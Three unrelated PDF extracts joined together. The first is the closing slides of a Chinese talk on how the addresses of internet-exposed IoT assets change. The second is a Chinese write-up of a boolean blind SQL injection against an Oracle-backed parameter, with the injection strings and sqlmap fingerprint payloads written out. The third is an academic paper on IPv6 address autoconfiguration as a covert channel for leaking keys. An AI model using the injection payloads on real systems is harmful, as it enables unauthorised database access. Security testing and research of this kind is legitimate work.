互 联 网 上 的 暴 露 物 联 网 资 产 网 络 地 址 , 根 据 类 型 的 不 同 均 存 在 着 不 同 程 度 的 变 化
运 营 商 采 用 的 动 态 分 配 地 址 的 策 略 导 致 物 联 网 资 产 网 络 地 址 变 化
考 虑 物 联 网 资 产 变 化 , 可 以 提 高 资 产 信 息 和 威 胁 跟 踪 精 准 性
一 些 说 明
以 上 研 究 基 于 2 0 1 8 - 2 0 1 9 年 资 产 扫 描 数 据
目 前 得 出 的 资 产 变 化 原 因 , 均 为 从 真 实 数 据 的 推 测 得 出
物 联 网 资 产 具 体 的 变 化 范 围 , 还 需 要 与 运 营 商 实 际 配 置 策 略 相 结 合
获 取 I P v 6 物 联 网 资 产 尚 存 巨 大 挑 战 , 有 待 进 一 步 研 究
关 于 我 们
绿盟科技研究通讯
u 绿盟科技创新中心
绿盟科技的前沿技术研究部门。包
括云安全实验室、安全大数据分析
实验室和物联网安全实验室,关注
于云安全、威胁情报、数据驱动安
全和物联网安全等领域。
谢 谢 观 看
演讲人:桑鸿庆
绿盟科技创新中心 资深研究员 | pdf |
一个注入点分析
请求 URL:
http://www.xxx.com
POST 数据:
dfpageControl.pageNum=1&dfpageControl.grd_gridId=PER&dfpageControl.co
nditionStr=&dfpageControl.ducs[0].duc_fieldCondition=where_equals&dfpageC
ontrol.ducs[0].duc_fieldValue=114730&dfpageControl.ducs[0].duc_fieldSplit=
and
&dfpageControl.ducs[0].duc_fieldName=per_code&dfpageControl.ducs[0].duc_
dataType=varchar
注入点:dfpageControl.conditionStr 参数
注入点类型:boolean-based blind,波尔型盲注
测试一
测试过程:
dfpageControl.conditionStr 为空,如图:
dfpageControl.conditionStr= and 1=1,如图:
dfpageControl.conditionStr= and 1=2,如图:
直接放入 SQLMAP 里跑,结果如图:
通过手工的方式数据库:
dfpageControl.conditionStr= and 1=(select 1 from dual),如图:
dfpageControl.conditionStr= and 1=(select 2 from dual),如图:
dfpageControl.conditionStr= or 1=(select 1 from dual) ,如图:
至此,判断 SQL 注入存在,数据库为 oracle。
通过手工的方式判断出 oracle 的话,如果通过指定 sqlmap 的 dbms,可以成功。
通过对 sqlmap 发送的数据包进行分析,对比使用 dbms 和不使用 dbms 的
payloads 区别
这一阶段 sqlmap 使用一系列的方式去判断数据库类型:
[INFO] testing MySQL
per_code = '114730' AND QUARTER(NULL) IS NULL
[INFO] testing Oracle
per_code = '114730' AND ROWNUM=ROWNUM
[INFO] testing PostgreSQL
per_code = '114730' AND 6932::int=6932
[INFO] testing Microsoft SQL Server
per_code = '114730' AND SQUARE(8844)=SQUARE(8844)
[INFO] testing SQLite
per_code = '114730' AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()
[INFO] testing Microsoft Access
per_code = '114730' AND VAL(CVAR(1))=1
[INFO] testing Firebird
per_code = '114730' AND (SELECT COUNT(*) FROM RDB$DATABASE WHERE
3109=3109)>0
[INFO] testing SAP MaxDB
per_code = '114730' AND ALPHA(NULL) IS NULL
[INFO] testing Sybase
per_code = '114730' AND @@transtate=@@transtate
[INFO] testing IBM DB2
per_code = '114730' AND 5283=(SELECT 5283 FROM SYSIBM.SYSDUMMY1)
[INFO] testing HSQLDB
per_code = '114730' AND CASEWHEN(1=1,1,0)=1
从红色标记往下,是测试 11 种数据库的请求包,但由于 payload 会回显,所以
不能通过长度判断 true or false,只能通过页面内容。
但实际上 sqlmap 并没有检测出 oracle,如图:
说明 SQLMAP 对此处的真和假的判断是错误的,需要通过手工的方式指定返回
页面的真和假。参考如下选项:
通过上面手工测试的结果,我知道“真”的响应正文包括一个 trd_desc,可以用
来识别真和假的页面,真的页面有 trd_desc,假的页面没有 trd_desc。如图:
使用—strings 选项,如图:
结果正常,识别出 oracle,如图:
测试二
经测试上面 SQLMAP 的版本是:
使用最新版的 SQLMAP 测试,版本是:
同样使用相同的选项,新版本的判断逻辑发生变化,直接识别出数据库 oracle,
如图:
逻辑变化细节说明:
总结:
1. 我们在用一些默认选项直接测试注入点的时候,扫描器可能会有误报和漏报,
最好通过抓包的方式(或者-v 3-5 的方式)看一下详细的交互包,人工判断
下。
2. 及时更新 SQLMAP。新的比旧的逻辑优,更新吧。 | pdf |
IPv6 is Bad for Your Privacy
Janne Lindqvist
Helsinki University of Technology
Telecommunications Software and Multimedia Laboratory
P.O. Box 5400, FIN-02015 TKK, Finland
[email protected].fi
Abstract. In recent years, covert channel techniques for IPv4 and more
recently for IPv6 have been published by the scientific community and
also presented in DEFCON 14. However, a covert channel that contains
a considerable bandwidth has been overlooked, the autoconfigured IPv6
address itself. IPv6 Stateless Address Autoconfiguration is used for au-
toconfiguring addresses without a server in IPv6 networks. The auto-
configuration mechanism consists of choosing an address candidate and
verifying its uniqueness with Duplicate Address Detection. The auto-
configuration mechanism has privacy issues which have been identified
before and mitigations have been published as RFC 3041. However, we
show that the privacy protection mechanism for the autoconfiguration
can be used as a covert channel, and consequently, be used to harm the
privacy of the user. The covert channel can be serious threat for commu-
nication security and privacy. We present practical attacks for divulging
sensitive information such as parts of secret keys of encryption proto-
cols. The scheme can also be used for very effective Big Brother type
surveillance that cannot be detected by established intrusion detection
systems.
1
Introduction
A covert channel is a mechanism that is not designed for communi-
cation, but can nonetheless be abused to allow information to be com-
municated between parties [2].
Previously, this work has been published as [14], in this version, we take a
more tutorial style and present corrections. For example, in [14] we concluded
that SEcure Neighbor Discovery (SEND) [3] could prevent this covert channel,
but it merely slows it down. Previously published work in TCP/IP covert chan-
nels include: how common IPv4 covert channels can be detected and how to
implement detection resistant TCP steganography schemes [17], using IP frag-
mentation and packet sorting as covert channels [1], covert timing channels [6]
and enumeration of 22 covert channels in IPv6 [15]. Privacy problems with IPv6
are not limited to covert channels, for example, Mobile IPv6 introduceslocation
privacy problems [9].
2
Janne Lindqvist
64 bits
64 bits
subnet prefix interface id
Fig. 1. IPv6 Unicast Address Format
RFC 2460 - the draft standard specification of IPv6 [8] - was published al-
ready in 1998. In addition to the specification, IPv6 introduces many additional
mechanisms and protocols, one of them is the stateless address autoconfigura-
tion.
The IPv6 addressing architecture is defined in RFC 4291 [10]. It has three
different types of identifiers: unicast, anycast and multicast addresses. Unlike its
predecessor IPv4, the address architecture is hierarchical. In this context, hierar-
chy means that addresses have fields for defining the scope of the address. Orig-
inally, the addressing architecture specified three scopes for unicast addresses.
Today, unicast addresses have two scopes: link-local and global, since RFC 3879
formally deprecated the site-local address scope [11]. Next, we elaborate the IPv6
Stateless Address Autoconfiguration mechanism and privacy extensions for it.
The DAD procedure describe in the Introduction must be supported by all
IPv6 implementations [22]. The DAD procedure uses two different Internet Con-
trol Message Protocol for IPv6 (ICMPv6) [7] messages: Neighbor Solicitation
(NS) and Neighbor Advertisement (NA). The Neighbor Solicitation message is
used for multicasting the tentative address to the network. The Neighbor Ad-
vertisement message is used to indicate that the tentative address is in use. The
message formats are defined in RFC 2461 [20] and RFC 2462 [22].
Optimistic DAD modifies the above. RFC 4429 specifies a new optimistic
state that can be given to an address. The address can then be used before it
has been verified, but the use is not preferred if there is another usable address
available. [16]
The default way to use the IPv6 Stateless Address Autoconfiguration is to
use the MAC address to derive the interface identifier. However, this mechanism
has serious privacy problems [18, 19], which we quote below:
“Addresses generated using Stateless address autoconfiguration con-
tain an embedded interface identifier, which remains constant over time.
Anytime a fixed identifier is used in multiple contexts, it becomes possi-
ble to correlate seemingly unrelated activity using this identifier.
The correlation can be performed by
– An attacker who is in the path between the node in question and
the peer(s) it is communicating to, and can view the IPv6 addresses
present in the datagrams.
– An attacker who can access the communication logs of the peers with
which the node has communicated.
[...]
In summary, IPv6 addresses on a given interface generated via State-
less Autoconfiguration contain the same interface identifier, regardless
IPv6 is Bad for Your Privacy
3
of where within the Internet the device connects. This facilitates the
tracking of individual devices (and thus potentially users).”
In simple terms, the privacy extensions propose to use instead of the fixed
MAC-address based interface identier a random interface identifier. But when
protocols use pseudorandom fields, they can be used as covert channels.
The most severe implications of the stateless address autoconfiguration covert
channel is the possibility to divulge any kind of secrets, and thus, violate the
privacy of the user. For example, an operating system and IPsec vendor could use
the covert channel to transmit session keys when the users think they are merely
protecting their privacy with the privacy extensions of the stateless address
autoconfiguration protocol.
The transmission of secret keys may need more bits than can fit in the IPv6
address. However, depending on key sizes, only partial information of the key
may suffice. The fundamental issue is that any kind of information can be di-
vulged. For example, perhaps organization X is interested in what computers
in a country visit particular sites when they are mobile. This information can
be divulged with a single bit in the interface identifier part. The computer can
remember the visits to a list of sites and after the boot-up send the information
in the new statelessly autoconfigured IPv6 address. Additionally, an encoding
scheme can be formulated to ensure that the particular bit is not accidentally
used. The subtle detail in this scenario is that the information can be passed
after boot-up, there is no need to change the IPv6 address before that.
2
Covert Channels in IPv6 Addresses
Using the duplicate address detection for covert channels is possible because
the interface identifier part of the address can be chosen in random. In IPv6
enabled Ethernets, the 64 bits of the 128 bit IPv6 address are reserved for the
interface identifier (Figure 1). The interface identifier of the address distinguishes
individual devices in a local area network [8]. The 64 bits can be used for carrying
a message. The 64 bits is a major covert channel and threat because it is always
present in the IPv6 packets. Many covert channels presented in the related work
section can be protected from the outside attackers by using e.g. IPsec ESP.
To illustrate how large 64 bits is as a covert channel we consider IPsec ESP
CBC-mode ciphersuites. RFC 2451 [21] specifies popular key sizes for IPsec ESP
CBC-mode ciphersuites. For example, CAST-128 and RC5 algorithms popular
sizes include 40 bits, which can be transmitted in a single IPv6 header. 3DES
algorithm default and popular size is 192 bits, which requires three different
addresses. Naturally, when the encryption schemes evolve and key sizes increase,
the 64 bits will become less drastic for secret key divulding purposes. Despite
this, even partial keys can be used to crack.
4
Janne Lindqvist
2.1
Generic Attack Scheme
In this section, we present how e.g. a hardware manufacturer can use the IPv6
Stateless Address Autoconfiguration to divulge secret keys of almost any security
protocol or other sensitive information.
The hardware manufacturer produces essentially embedded systems such as
PDAs. The operating system and the hardware is controlled by the manufacturer.
A wireless mobile device needs to use many addresses on different layers of
the protocol stack for identification purposes. One of these addresses is the MAC
address of the link layer protocol. For demonstration purposes, we consider the
IEEE 802.11b [13] standard based Wireless LAN (WLAN)
The IEEE 802.11b uses a 48-bit address to identify the link-layer network
interface [12]. The address is set by the hardware manufacturer or can be con-
figured from the operating system if the device driver allows it.
The MAC address of the device is used to identify the contaminated devices.
The first 24 bits of the address indicate Organizationally Unique Identifier (OUI),
which is assigned by the IEEE. The rest of the bits are determined by the
particular vendor organization.
The manufacturer can use, for example, the 8 bits after the OUI to indicate
a contaminated device. Thus, a packet capture software can easily be extended
to spot contaminated devices from an area covered by the radio device.
The operating system is modified as follows. The secret key (Ks) of a secure
communication protocol is encoded with information on e.g. what type of key it
is, what actual session or user it refers to and other necessary information. This
information is encrypted with an encryption scheme and a global key known
only by the attacker. The “encryption” scheme can be simply protocol and the
first applicable bits of the MAC address are operands in XOR operation, and
the result is the network interface identifier of an IPv6 address. The XOR oper-
ation hides the key from outsiders that do not know the encoding scheme. The
operation is illustrated below.
Ks ⊕ MAC address = interface id
Agents of the vendor have a database of the contaminated devices on their
laptops. The laptops automatically recognize the contaminated devices when
scanning the WLAN radio frequencies. When they recognize the contamined
devices, the laptops start to record the IP and above level communications and
record the IPv6 addresses. The IPv6 address contains the secret key, which can
be used to decrypt the encrypted communication. For secret keys larger than
the 64 bits, we may use a similar encoding scheme presented in next section.
This requires naturally multiple stateless address autoconfiguration procedures
that are nevertheless likely to be used for trying to protect the privacy of the
user. However, depending on the key length and the used encoding scheme, only
single address can be enough, and the remaining bits of the key can be revealed
with brute force attack.
The above scenario can naturally be exploited with rootkit malware, received
from an email message, for example. The malware checks out the MAC address of
IPv6 is Bad for Your Privacy
5
the particular device and contaminates the operating system. The MAC address
is sent to the attackers computer. Thus, the attacker can now easily track the
correct traffic in the radio network. However, this additional scenario requires
the sending of the MAC address, and thus, can be more easily noticed compared
to the exploitation by the hardware manufacturer.
3
Conclusions
The IPv6 Stateless Address Autoconfiguration can be considered inherently
harmful for the privacy of the user. It either 1. introduces the risk that all
the traffic originating from the host in different places can be linked to the user
or 2. introduces a way to divulge sensitive information about the user or even
the secret keys of encrypted communication.
The IPv6 address as a covert channel is a major threat since it exists in
every packet even though the payload is protected by IPsec ESP. If the traffic
is protected with IPsec ESP, the covert channels of e.g. TCP are not visible for
outsiders. Also, we can assume that most computers do not have sophisticated
intrusion detection systems and even if they do, most users cannot use them. But,
the networks where the users reside, may have intrusion detection systems that
monitor the traffic. Thus, e.g. opening a new connection to divulge sensitive
information or secret keys is likely to be noticed, but not the covert channel
scheme in IPv6 addresses.
A straightforward countermeasure to the covert channel attack is not to allow
stateless address autoconfiguration. The use of stateful server-based assignment
such as DHCPv6 [5] mitigates the problem effectively. However, this is not pos-
sible e.g. for ad hoc networks and, thus, the applicability of the mitigation is
limited. Also, the DHCPv6 may introduce administrative burden that otherwise
would be relieved with the IPv6 Stateless Address Autoconfiguration mechanism.
SEcure Neighbor Discovery (SEND) [3] protocol has been proposed to replace
the Neighbor Discovery protocol. SEND uses Cryptographically Generated Ad-
dresses (CGA) [4] which mitigate many attacks against Neighbor Discovery and
stateless address autoconfiguration. The idea behing CGA is that the interface
identifier is actually a host identifier. The host has a public/private key pair
and a hash of the public key is used in the IPv6 address interface identifier. It
might seem that CGA effectively mitigates the possibility to use the addresses
as covert channels because every bit has meaning. If the address does not match
the has of public key used in SEND, it is trivial to deduce something is wrong.
However, the attacked needs just to pre-create key pairs that hash to a wanted
string that can be used as the address field.
References
1. K. Ahsan and D. Kundur. Practical Data Hiding in TCP/IP. In Proceedings of
the Multimedia and Security Workshop at ACM Multimedia, Dec. 2002.
6
Janne Lindqvist
2. R. Anderson. Security Engineering: A Guide to Building Dependable Distributed
Systems. John Wiley & Sons, Inc., 2001.
3. J. Arkko, J. Kempf, B. Zill, and P. Nikander. RFC 3971: SEcure Neighbor Discovery
(SEND), Mar. 2005. Status: Proposed Standard.
4. T. Aura. RFC 3972: Cryptographically Generated Addresses (CGA), Mar. 2005.
Status: Proposed Standard.
5. J. Bound, B. Volz, T. Lemon, C. E. Perkins, and M. Carney. RFC 3315: Dynamic
Host Configuration Protocol for IPv6 (DHCPv6), July 2003.
Status: Proposed
Standard.
6. S. Cabuk, C. E. Brodley, and C. Shields. IP covert timing channels: design and
detection. In Proceedings of the 11th ACM conference on Computer and commu-
nications security, pages 178–187, 2004.
7. A. Conta and S. Deering. RFC 2463: Internet Control Message Protocol (ICMPv6)
for the Internet Protocol Version 6 (IPv6) Specification, Dec. 1998. Status: Draft
Standard.
8. S. Deering and R. Hinden. RFC 2460: Internet Protocol, Version 6 (IPv6) Speci-
fication, Dec. 1998. Status: Draft Standard.
9. A. Escudero-Pascual. Privacy in the next generation Internet: Data protection in
the context of European Union policy. PhD thesis, Royal Institute of Technology,
2002.
10. R. Hinden and S. Deering.
RFC 4291: IP Version 6 Addressing Architecture,
February 2006. Status: Draft Standard.
11. C. Huitema and B. Carpenter. RFC 3879: Deprecating Site Local Addresses, Sept.
2004. Status: Proposed Standard.
12. IEEE. IEEE Std 802-1990, IEEE Standards for Local and Metropolitan Area Net-
works: Overview and Architecture. The Institute of Electrical and Electronics En-
gineers, Inc., 1990. ISBN: 1-55937-052-1.
13. IEEE.
Std 802.11b-1999, Supplement to IEEE Standard for Information Tech-
nology – Telecommunications and information exchange between systems – Local
and metropolitan area networks – Specific requirements – Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications: Higher-
Speed Physical Layer Extension in the 2.4 GHz band. The Institute of Electrical
and Electronics Engineers, Inc., 1999.
14. J. Lindqvist. IPv6 Stateless Address Autoconfiguration Considered Harmful. In
Proceedings of the Military Communications Conference - MILCOM 2006, Oct.
2006.
15. N. B. Lucena, G. Lewandowski, and S. J. Chapin. Covert Channels in IPv6. In
PET 2005, LNCS 3856, June 2006.
16. N. Moore. RFC 4429: Optimistic Duplicate Address Detection (DAD) for IPv6,
April 2006. Status: Proposed Standard.
17. S. J. Murdoch and S. Lewis. Embedding covert channels into TCP/IP. In 7th
Information Hiding Workshop, June 2005.
18. T. Narten and R. Draves. RFC 3041: Privacy Extensions for Stateless Address
Autoconfiguration in IPv6, Jan. 2001. Status: Proposed Standard.
19. T. Narten, R. Draves, and S. Krishnan. Privacy Extensions for Stateless Address
Autoconfiguration in IPv6: draft-ietf-ipv6-privacy-addrs-v2-04.
Internet draft,
IETF, May 2005. Work in progress. Expired Nov. 2005.
20. T. Narten, E. Nordmark, and W. Simpson. RFC 2461: Neighbor Discovery for IP
Version 6 (IPv6), Dec. 1998. Status: Draft Standard.
IPv6 is Bad for Your Privacy
7
21. R. Pereira and R. Adams. RFC 2451: The ESP CBC-Mode Cipher Algorithms,
Nov. 1998. Status: Proposed Standard.
22. S. Thomson and T. Narten. RFC 2462: IPv6 Stateless Address Autoconfiguration,
Dec. 1998. Status: Draft Standard. | pdf |
Subsets and Splits